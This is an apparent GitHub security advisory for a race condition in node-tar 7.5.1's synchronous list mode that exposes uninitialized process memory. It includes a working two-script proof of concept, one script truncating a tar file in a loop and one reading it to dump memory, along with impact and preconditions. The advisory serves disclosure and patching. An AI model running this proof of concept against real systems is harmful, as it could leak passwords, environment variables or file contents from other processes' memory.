node-tar has a race condition leading to uninitialized memory exposureGHSA-29xp-372q-xqph

Summary

Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

Details

See:

• https://github.com/isaacs/node-tar/issues/445
• https://github.com/isaacs/node-tar/pull/446
• Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d

PoC

A:

import * as tar from 'tar'
import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme
const filesAdded = []
tar.c(
  {
    sync: true,
    file: 'tar.test.tmp.tar',
    onWriteEntry(entry) {
      // initially, it's uppercase and 0o644
      console.log('adding', entry.path, entry.stat.mode.toString(8))
      // make all the paths lowercase
      entry.path = entry.path.toLowerCase()
      // make the entry executable
      entry.stat.mode = 0o755
      // in the archive, it's lowercase and 0o755
      filesAdded.push([entry.path, entry.stat.mode.toString(8)])
    },
  },
  ['./tar.test.tmp'],
)

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){
  if (i % 10000 === 0) console.log(i)
  fs.writeFileSync('tar.test.tmp.tar', a)
  fs.truncateSync('tar.test.tmp.tar', 600)
}

B (vulnerable):

import * as tar from 'tar'
import * as fs from 'fs'

while (true) {
  fs.readFileSync(import.meta.filename)
  tar.t({
    sync: true,
    file: 'tar.test.tmp.tar',
    onReadEntry: e => e.on('data', b => {
      const a = b.filter(x => x)
      if (a.length > 0) console.log(a.toString())
    })
  })
}

Run A and B in parallel on Node.js 22 or >=25.1.0

Dumps B memory (wait for some time to observe text data)

Impact

Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.

To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).

This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.

This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).

If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.

By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).

Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.